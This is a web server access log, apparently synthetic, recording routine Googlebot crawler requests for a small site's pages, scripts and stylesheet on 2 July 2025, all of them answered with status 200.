12:02:47 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:47 +0000] "GET /index.html HTTP/1.1" 200 2631 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:47 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:02:47 +0000] "GET /products/1 HTTP/1.1" 200 1206 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:47 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:02:47 +0000] "GET /contact.html HTTP/1.1" 200 1058 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:47 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:47 +0000] "GET /main.js HTTP/1.1" 200 4236 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:47 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:47 +0000] "GET /main.js HTTP/1.1" 200 1627 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 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02 12:02:53 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:02:53 +0000] "GET /index.html HTTP/1.1" 200 2554 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:53 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:02:53 +0000] "GET /about.html HTTP/1.1" 200 4220 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:53 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:53 +0000] "GET /styles.css HTTP/1.1" 200 4515 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:53 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:02:53 +0000] "GET /main.js HTTP/1.1" 200 1437 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:53 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:53 +0000] "GET /main.js HTTP/1.1" 200 4789 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:53 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:02:53 +0000] "GET /styles.css HTTP/1.1" 200 1017 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:53 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:02:53 +0000] "GET /index.html HTTP/1.1" 200 3858 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:53 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:02:53 +0000] "GET /main.js HTTP/1.1" 200 3779 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:53 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:02:53 +0000] "GET /contact.html HTTP/1.1" 200 3695 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:53 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:02:53 +0000] "GET /about.html HTTP/1.1" 200 3610 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:53 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:02:53 +0000] "GET /styles.css HTTP/1.1" 200 4994 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:53 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:02:53 +0000] "GET /contact.html HTTP/1.1" 200 4141 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:53 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:02:53 +0000] "GET /main.js HTTP/1.1" 200 2774 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:53 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:53 +0000] "GET /products/1 HTTP/1.1" 200 2905 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:53 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:53 +0000] "GET /index.html HTTP/1.1" 200 2899 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:53 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:02:53 +0000] "GET /contact.html HTTP/1.1" 200 3724 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:53 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:53 +0000] "GET /products/2 HTTP/1.1" 200 1535 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:53 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:02:53 +0000] "GET /about.html HTTP/1.1" 200 4150 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:54 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:02:54 +0000] "GET /products/2 HTTP/1.1" 200 1105 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:54 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:54 +0000] "GET /about.html HTTP/1.1" 200 4103 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:54 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:02:54 +0000] "GET /about.html HTTP/1.1" 200 4982 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:54 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:54 +0000] "GET /styles.css HTTP/1.1" 200 4963 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:54 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:02:54 +0000] "GET /contact.html HTTP/1.1" 200 1831 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:54 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:02:54 +0000] "GET /index.html HTTP/1.1" 200 2525 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" 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02 12:02:54 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:02:54 +0000] "GET /contact.html HTTP/1.1" 200 2143 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:54 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:02:54 +0000] "GET /about.html HTTP/1.1" 200 3060 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:54 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:02:54 +0000] "GET /contact.html HTTP/1.1" 200 4996 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:54 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:02:54 +0000] "GET /about.html HTTP/1.1" 200 1041 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:54 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:02:54 +0000] "GET /main.js HTTP/1.1" 200 4689 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:54 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:54 +0000] "GET /about.html HTTP/1.1" 200 1324 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" 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12:02:56 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:02:56 +0000] "GET /products/1 HTTP/1.1" 200 2931 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:56 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:02:56 +0000] "GET /index.html HTTP/1.1" 200 2303 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:56 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:02:56 +0000] "GET /about.html HTTP/1.1" 200 2440 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:56 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:02:56 +0000] "GET /about.html HTTP/1.1" 200 4936 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:56 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:56 +0000] "GET /styles.css HTTP/1.1" 200 3033 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:56 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:56 +0000] "GET /products/1 HTTP/1.1" 200 2592 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:56 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:02:56 +0000] "GET /styles.css HTTP/1.1" 200 4765 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:56 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:02:56 +0000] "GET /products/2 HTTP/1.1" 200 4608 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:56 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:02:56 +0000] "GET /products/2 HTTP/1.1" 200 3083 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:56 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:56 +0000] "GET /products/1 HTTP/1.1" 200 2429 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:56 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:56 +0000] "GET /index.html HTTP/1.1" 200 4002 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:56 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:56 +0000] "GET /products/1 HTTP/1.1" 200 4229 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" 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"-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:57 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:57 +0000] "GET /products/1 HTTP/1.1" 200 4758 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:57 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:57 +0000] "GET /styles.css HTTP/1.1" 200 4466 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:57 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:02:57 +0000] "GET /products/1 HTTP/1.1" 200 3094 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:57 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:02:57 +0000] "GET /contact.html HTTP/1.1" 200 3396 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:57 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:57 +0000] "GET /styles.css HTTP/1.1" 200 2064 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:57 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:57 +0000] "GET /products/2 HTTP/1.1" 200 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02 12:03:04 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:04 +0000] "GET /styles.css HTTP/1.1" 200 4515 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:04 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:04 +0000] "GET /contact.html HTTP/1.1" 200 4084 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:04 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:04 +0000] "GET /main.js HTTP/1.1" 200 2283 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:04 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:04 +0000] "GET /contact.html HTTP/1.1" 200 1906 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:04 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:04 +0000] "GET /products/2 HTTP/1.1" 200 3919 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:04 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:04 +0000] "GET /about.html HTTP/1.1" 200 1942 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" 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4371 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:07 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:07 +0000] "GET /index.html HTTP/1.1" 200 3321 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:07 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:07 +0000] "GET /about.html HTTP/1.1" 200 2413 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:07 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:07 +0000] "GET /products/2 HTTP/1.1" 200 1849 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:07 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:07 +0000] "GET /contact.html HTTP/1.1" 200 1219 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:07 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:07 +0000] "GET /contact.html HTTP/1.1" 200 3377 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:07 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:07 +0000] "GET /contact.html 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12:03:08 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:08 +0000] "GET /index.html HTTP/1.1" 200 4444 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:08 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:08 +0000] "GET /contact.html HTTP/1.1" 200 1632 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:08 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:08 +0000] "GET /styles.css HTTP/1.1" 200 4972 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:08 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:08 +0000] "GET /styles.css HTTP/1.1" 200 3568 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:08 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:08 +0000] "GET /about.html HTTP/1.1" 200 3307 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:08 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:08 +0000] "GET /about.html HTTP/1.1" 200 1789 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:08 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:08 +0000] "GET /products/2 HTTP/1.1" 200 2492 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:08 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:08 +0000] "GET /about.html HTTP/1.1" 200 1895 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:08 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:08 +0000] "GET /index.html HTTP/1.1" 200 4346 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:08 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:08 +0000] "GET /products/2 HTTP/1.1" 200 1269 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:08 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:08 +0000] "GET /main.js HTTP/1.1" 200 2313 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:08 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:08 +0000] "GET /index.html HTTP/1.1" 200 4342 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:08 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:08 +0000] "GET /about.html HTTP/1.1" 200 3838 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:09 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:09 +0000] "GET /products/2 HTTP/1.1" 200 3164 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:09 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:09 +0000] "GET /styles.css HTTP/1.1" 200 4632 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:09 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:09 +0000] "GET /main.js HTTP/1.1" 200 3282 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:09 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:09 +0000] "GET /main.js HTTP/1.1" 200 3800 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:09 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:09 +0000] "GET /about.html HTTP/1.1" 200 3573 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:09 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:09 +0000] "GET /products/1 HTTP/1.1" 200 3162 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:09 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:09 +0000] "GET /products/1 HTTP/1.1" 200 2365 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:09 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:09 +0000] "GET /about.html HTTP/1.1" 200 1839 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:09 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:09 +0000] "GET /index.html HTTP/1.1" 200 4351 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:09 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:09 +0000] "GET /products/1 HTTP/1.1" 200 2777 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:09 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:09 +0000] "GET /index.html HTTP/1.1" 200 4080 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:09 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:09 +0000] "GET /products/2 HTTP/1.1" 200 3029 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:09 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:09 +0000] "GET /contact.html HTTP/1.1" 200 4679 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:09 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:09 +0000] "GET /about.html HTTP/1.1" 200 4374 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:09 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:09 +0000] "GET /styles.css HTTP/1.1" 200 1561 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:09 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:09 +0000] "GET /main.js HTTP/1.1" 200 3365 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:09 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:09 +0000] "GET /index.html HTTP/1.1" 200 1788 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:09 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:09 +0000] "GET /products/1 HTTP/1.1" 200 2515 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:09 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:09 +0000] "GET /contact.html HTTP/1.1" 200 3664 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:09 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:09 +0000] "GET /index.html HTTP/1.1" 200 4189 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:09 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:09 +0000] "GET /products/1 HTTP/1.1" 200 4781 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:09 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:09 +0000] "GET /products/2 HTTP/1.1" 200 2265 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:09 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:09 +0000] "GET /styles.css HTTP/1.1" 200 3660 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" 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02 12:03:12 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:12 +0000] "GET /about.html HTTP/1.1" 200 3514 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:12 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:12 +0000] "GET /index.html HTTP/1.1" 200 1149 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:12 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:12 +0000] "GET /products/1 HTTP/1.1" 200 1556 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:12 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:12 +0000] "GET /about.html HTTP/1.1" 200 2526 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:12 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:12 +0000] "GET /products/1 HTTP/1.1" 200 2571 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:12 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:12 +0000] "GET /main.js HTTP/1.1" 200 3035 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:12 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:12 +0000] "GET /styles.css HTTP/1.1" 200 4601 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:12 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:12 +0000] "GET /main.js HTTP/1.1" 200 4025 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:12 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:12 +0000] "GET /products/2 HTTP/1.1" 200 4542 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:12 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:12 +0000] "GET /about.html HTTP/1.1" 200 3269 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:12 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:12 +0000] "GET /contact.html HTTP/1.1" 200 4243 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:12 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:12 +0000] "GET /contact.html HTTP/1.1" 200 4506 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" 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02 12:03:17 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:17 +0000] "GET /styles.css HTTP/1.1" 200 2001 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:17 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:17 +0000] "GET /about.html HTTP/1.1" 200 3033 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:17 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:17 +0000] "GET /products/1 HTTP/1.1" 200 4623 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:17 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:17 +0000] "GET /products/2 HTTP/1.1" 200 3769 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:17 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:17 +0000] "GET /products/2 HTTP/1.1" 200 2019 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:17 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:17 +0000] "GET /styles.css HTTP/1.1" 200 3156 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" 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12:03:23 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:23 +0000] "GET /products/2 HTTP/1.1" 200 1296 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:23 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:23 +0000] "GET /index.html HTTP/1.1" 200 4308 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:23 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:23 +0000] "GET /products/2 HTTP/1.1" 200 2599 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:23 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:23 +0000] "GET /styles.css HTTP/1.1" 200 3388 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:23 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:23 +0000] "GET /contact.html HTTP/1.1" 200 1742 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:23 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:23 +0000] "GET /index.html HTTP/1.1" 200 1422 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:23 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:23 +0000] "GET /about.html HTTP/1.1" 200 2453 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:23 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:23 +0000] "GET /contact.html HTTP/1.1" 200 4251 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:23 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:23 +0000] "GET /styles.css HTTP/1.1" 200 1520 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:23 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:23 +0000] "GET /styles.css HTTP/1.1" 200 2097 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:23 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:23 +0000] "GET /main.js HTTP/1.1" 200 4325 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:23 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:23 +0000] "GET /main.js HTTP/1.1" 200 4332 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:23 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:23 +0000] "GET /styles.css HTTP/1.1" 200 4799 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:23 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:23 +0000] "GET /main.js HTTP/1.1" 200 1638 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:23 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:23 +0000] "GET /about.html HTTP/1.1" 200 3664 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:23 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:23 +0000] "GET /products/1 HTTP/1.1" 200 4912 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:23 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:23 +0000] "GET /products/1 HTTP/1.1" 200 4816 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:23 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:23 +0000] "GET /contact.html HTTP/1.1" 200 2979 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:23 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:23 +0000] "GET /styles.css HTTP/1.1" 200 4583 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:23 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:23 +0000] "GET /products/2 HTTP/1.1" 200 4749 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:23 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:23 +0000] "GET /contact.html HTTP/1.1" 200 4015 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:23 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:23 +0000] "GET /about.html HTTP/1.1" 200 2172 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:23 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:23 +0000] "GET /index.html HTTP/1.1" 200 2853 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:23 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:23 +0000] "GET /products/2 HTTP/1.1" 200 1064 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:23 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:23 +0000] "GET /products/1 HTTP/1.1" 200 2701 "-" "Googlebot/2.1 